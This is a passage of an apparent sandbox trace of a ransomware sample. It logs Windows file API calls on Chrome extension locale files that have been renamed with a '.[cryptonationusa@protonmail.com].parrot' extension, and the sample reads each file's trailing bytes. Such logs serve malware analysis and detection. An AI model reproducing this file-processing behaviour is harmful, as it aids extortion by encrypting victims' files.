dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.444] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.444] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.444] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.444] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.445] CloseHandle (hObject=0x23c) returned 1 [0094.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.445] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.445] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.445] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.446] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.446] CloseHandle (hObject=0x23c) returned 1 [0094.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.447] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.447] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.447] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.447] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.448] CloseHandle (hObject=0x23c) returned 1 [0094.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.448] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.448] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.448] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.448] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.449] CloseHandle (hObject=0x23c) returned 1 [0094.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.449] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.449] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.449] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.450] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.450] CloseHandle (hObject=0x23c) returned 1 [0094.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.451] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.451] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.451] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.451] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.452] CloseHandle (hObject=0x23c) returned 1 [0094.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.452] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.452] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.452] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.452] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.453] CloseHandle (hObject=0x23c) returned 1 [0094.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.454] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.454] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.454] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.454] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.454] CloseHandle (hObject=0x23c) returned 1 [0094.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.455] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.455] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.455] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.455] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.456] CloseHandle (hObject=0x23c) returned 1 [0094.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.456] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.456] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.456] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.456] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.457] CloseHandle (hObject=0x23c) returned 1 [0094.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.458] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.458] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.458] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.458] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.459] CloseHandle (hObject=0x23c) returned 1 [0094.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.460] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.460] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.460] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.460] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.461] CloseHandle (hObject=0x23c) returned 1 [0094.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.461] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.461] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.461] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.461] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.462] CloseHandle (hObject=0x23c) returned 1 [0094.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.462] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.462] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.462] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.462] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.463] CloseHandle (hObject=0x23c) returned 1 [0094.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.464] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.464] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.464] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.464] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.465] CloseHandle (hObject=0x23c) returned 1 [0094.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.465] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.465] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.465] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.465] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.466] CloseHandle (hObject=0x23c) returned 1 [0094.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.466] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.466] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.467] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.467] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.467] CloseHandle (hObject=0x23c) returned 1 [0094.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.468] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.468] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.468] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.468] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.469] CloseHandle (hObject=0x23c) returned 1 [0094.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.469] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.469] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.469] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.469] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.470] CloseHandle (hObject=0x23c) returned 1 [0094.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 